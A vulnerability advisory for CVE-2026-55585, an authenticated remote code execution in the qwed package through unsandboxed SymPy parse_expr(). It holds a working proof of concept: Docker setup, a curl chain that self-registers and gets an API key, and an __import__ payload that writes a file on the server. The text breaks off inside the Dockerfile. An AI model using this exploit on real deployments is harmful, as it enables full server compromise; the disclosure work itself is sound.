CVE-2026-55585

Summary

The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parse_expr() function without a restricted namespace. Because parse_expr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.

Details

The vulnerability exists in two independently reachable code paths:

Primary sink — POST /verify/math

src/qwed_new/api/main.py:442 defines the /verify/math route, protected only by get_current_tenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1*\2', expression)) that performs no security validation. The normalized string is then passed directly to parse_expr() at line 504:

# src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized)   # line 504 — unsandboxed eval

Secondary sink — POST /verify/batch

src/qwed_new/api/main.py:1481 defines the /verify/batch route. Batch items flow through batch_service.create_job() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by _verify_item() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parse_expr() at line 239 with no sanitization:

# src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression)              # line 239 — unsandboxed eval

parse_expr() accepts a global_dict and local_dict parameter that, when set to {"__builtins__": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.

PoC

Environment setup (Docker)

# Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .

# Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:

• QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789
• API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789
• QWED_CORS_ORIGINS=http://localhost
• QWED_SKIP_ENV_INTEGRITY_CHECK=true
• DATABASE_URL=sqlite:////tmp/qwed-poc.db

Automated exploit (poc.py)

python3 vuln-001/poc.py --host 127.0.0.1 --port 8765

The script performs three steps:

1. Register an account — POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required).
2. Obtain an API key — POST /auth/api-keys using the JWT returned from signup.
3. Send the RCE payload — POST /verify/math with the x-api-key header and the expression:

__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')

Expected output

[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned — payload evaluated without error.

The server returns HTTP 200 and {"value": 23.0} — the return value of write_text() (23 bytes written), cast by SymPy to Integer(23). This proves the Python expression was executed inside the server process.

Decisive verification

docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce
# Expected: pwned_by_parse_expr_rce

The same technique applies to POST /verify/batch by submitting a batch job with a math item whose query field contains the payload; a separate marker file /tmp/qwed_batch_parse_expr_rce was also confirmed during dynamic testing.

Manual curl reproduction (no Python script)

# Step 1: sign up and capture JWT
TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \
  -H 'Content-Type: application/json' \
  -d '{"email":"poc@example.com","password":"Password123!","organization_name":"poc-org"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])')

# Step 2: create API key
APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"name":"poc"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')

# Step 3: send payload
rm -f /tmp/qwed_parse_expr_rce
curl -sS -X POST http://127.0.0.1:8765/verify/math \
  -H 'Content-Type: application/json' \
  -H "x-api-key: $APIKEY" \
  -d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}'

# Step 4: confirm file was written by the server process
cat /tmp/qwed_parse_expr_rce
# Expected: owned

Impact

This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since /auth/signup requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.

Concrete impact includes:

• Confidentiality — read any file accessible to the server process (environment variables, secret keys, database contents, source code).
• Integrity — write or overwrite any file accessible to the server process, modify database records, plant backdoors.
• Availability — terminate the server process, exhaust resources, corrupt persistent storage.

In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.

Reproduction artifacts

Dockerfile

# VULN-001 Reproduction Environment
# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1
#
# Build from the repo root (one level above vuln-001/):
#   docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
#
# Run:
#   docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

FROM python:3.12-slim-bookworm

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

WORKDIR /app

# Install minimal build dependencies required by some native extensions
RUN apt-get update \
    && apt-get install -y --no-install-recommends gcc g++ \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

# Copy the repository source
COPY repo/ /app/repo/

# Install hatchling build backend, then install the package with all dependencies
# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12
RUN pip install --no-cache-dir --upgrade pip hatchling \
    && pip install --no-cache-dir -e /app/repo

# Runtime environment variables — minimal set required to start the server
ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
    API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
    QWED_CORS_ORIGINS="http://localhost" \
    QWED_SKIP_ENV_INTEGRITY_CHECK="true" \
    DATABASE_URL="sqlite:////tmp/qwed-poc.db"

EXPOSE 8765

CMD ["python3